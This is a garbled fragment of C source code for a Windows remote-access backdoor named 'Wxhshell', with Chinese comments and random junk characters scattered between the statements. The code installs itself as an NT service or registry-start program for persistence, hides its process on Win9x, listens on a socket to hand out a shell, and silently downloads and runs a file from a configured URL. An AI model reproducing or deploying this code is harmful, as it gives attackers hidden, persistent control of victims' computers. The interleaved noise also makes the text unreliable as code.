m CloseHandle(hProcess); XHJ/211 6jov8GIAt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J0t_wMJa if(hProcess==NULL) return 0; *~UK5Brf1 z4]z3U<}3] HMODULE hMod; AZ\f6r{
char procName[255]; J'wJe, unsigned long cbNeeded; >@Na6BH5v |b!Bb<5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dL1{i,M L5wFbc"u CloseHandle(hProcess); \~C/ Ga
<=Di): if(strstr(procName,"services")) return 1; // 以服务启动 ;hd%wmE +.u
HY`A return 0; // 注册表启动 \5HVX/ } (;N#Gqb6l T.WN9=N // 主模块 \MAv's4b@ int StartWxhshell(LPSTR lpCmdLine) {Q^ -
{ 83)m# SOCKET wsl; $?OQtz@ BOOL val=TRUE; #zb6 7mg~ int port=0; M2qor.d struct sockaddr_in door; P;IM -] l5enlYH if(wscfg.ws_autoins) Install(); LZJFp@ ,K.Wni#m port=atoi(lpCmdLine); |A=~aQot JUq7R%"h6 if(port<=0) port=wscfg.ws_port; T I yHM1+ Ozsvsa WSADATA data; vU#>3[aC if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E6?0/" a{.-qp if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }C
JK9*Z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "2"2qZ*h} door.sin_family = AF_INET; 8&7zV:= door.sin_addr.s_addr = inet_addr("127.0.0.1"); AbX#wpp! door.sin_port = htons(port);
"'Q~&B;@ +4[Je$qYa if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0.U-
tg0 closesocket(wsl); (J
j'kW6G6 return 1; iW[%|ddk } _6aI>b#yL ?nM]eUAP if(listen(wsl,2) == INVALID_SOCKET) { TH~"y closesocket(wsl); j:2*hF!E return 1; l%
{<+N } d @b ]/ Wxhshell(wsl); e,*@+E\4 WSACleanup(); aL8Z|* K[q-[q#yc return 0; PD^Cj?wm ztC,[ } 1E$^ul-v V'l9fj*E // 以NT服务方式启动 "Q[?W(SA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;F/w&u.n { }l5Q0' DWORD status = 0; T^2o'_: DWORD specificError = 0xfffffff; q9nQ/]rkHF MX|@x~9W serviceStatus.dwServiceType = SERVICE_WIN32; _u#r;h[ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5^N`~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WG&WPV/p serviceStatus.dwWin32ExitCode = 0; u)Vn7zh serviceStatus.dwServiceSpecificExitCode = 0; ?+byRoY>&g serviceStatus.dwCheckPoint = 0; -[z1r)RZ serviceStatus.dwWaitHint = 0; Z:VT%- 6 _#C vQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z'Ut9u if (hServiceStatusHandle==0) return; fTi5Ej*/?) }x"8v&3CM_ status = GetLastError(); ZP<OyX? if (status!=NO_ERROR) sGGi7% { cu4 |!s`# serviceStatus.dwCurrentState = SERVICE_STOPPED;
3nx*M= serviceStatus.dwCheckPoint = 0; 58PL@H~@0 serviceStatus.dwWaitHint = 0; yDi'@Z9R? serviceStatus.dwWin32ExitCode = status; k.%FGn'fR serviceStatus.dwServiceSpecificExitCode = specificError; rpL]5e! SetServiceStatus(hServiceStatusHandle, &serviceStatus); d.y-R#F_] return; KN.WTaO } LUA<N: A/~^4DR serviceStatus.dwCurrentState = SERVICE_RUNNING; oK2j PP serviceStatus.dwCheckPoint = 0; J+qcA} serviceStatus.dwWaitHint = 0; Nbt.y 'd if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M{X; H'2 } 4` :Eiik&p #D%l;Ae // 处理NT服务事件,比如:启动、停止 is{H >#+" VOID WINAPI NTServiceHandler(DWORD fdwControl) YF)c.Q0 { oox;8d4}y switch(fdwControl) ezhK[/E= { }t1J`+x% case SERVICE_CONTROL_STOP: &[[Hfs2:-] serviceStatus.dwWin32ExitCode = 0; r@G34QC+ serviceStatus.dwCurrentState = SERVICE_STOPPED; 4z^VwKH\ j serviceStatus.dwCheckPoint = 0; &C6*"JZ4 serviceStatus.dwWaitHint = 0; S|_"~Nd= { c,5yH SetServiceStatus(hServiceStatusHandle, &serviceStatus); ['aiNhlbt } *,Sa*-7( return; .s3y^1C case SERVICE_CONTROL_PAUSE: D|/
4),v serviceStatus.dwCurrentState = SERVICE_PAUSED; (5)DQ1LaF break; 9@YhAj case SERVICE_CONTROL_CONTINUE: xepp."O serviceStatus.dwCurrentState = SERVICE_RUNNING; SB^xq break; +QEiY~i case SERVICE_CONTROL_INTERROGATE: YvFt*t
break; 69zMWuY }; w[/m:R?eX SetServiceStatus(hServiceStatusHandle, &serviceStatus); DhiIKd9W }
9-Xr (6i.>%|_ // 标准应用程序主函数 =la~D]T*g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;2547b[] { @E?o~jO(e &xS]
;Fr // 获取操作系统版本 mz3Dt> OsIsNt=GetOsVer(); ;<BMgO}N GetModuleFileName(NULL,ExeFile,MAX_PATH); 'I@l$H o AM)<#U> // 从命令行安装 Uq(fk9`6 if(strpbrk(lpCmdLine,"iI")) Install(); TL: 6Pe R(GL{Dh}L // 下载执行文件 +3r4GEa
Z if(wscfg.ws_downexe) { +w(B9rH if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6f;20dn6 WinExec(wscfg.ws_filenam,SW_HIDE); m@g9+7 } EskD)Sl OTWp,$YA= if(!OsIsNt) { @}_Wl<kn // 如果时win9x,隐藏进程并且设置为注册表启动 Z':w
X HideProc(); %kV #UzL StartWxhshell(lpCmdLine); 4X$|jGQ\ } = Tq\Ag: else GNoUn7Y if(StartFromService()) uX+ YH // 以服务方式启动 8]l(D StartServiceCtrlDispatcher(DispatchTable); \s,~|0_V else $u::(s}
x< // 普通方式启动 mN1n/LNi StartWxhshell(lpCmdLine); '~AR|8q? tIo
b return 0; ^8
cq
qu }
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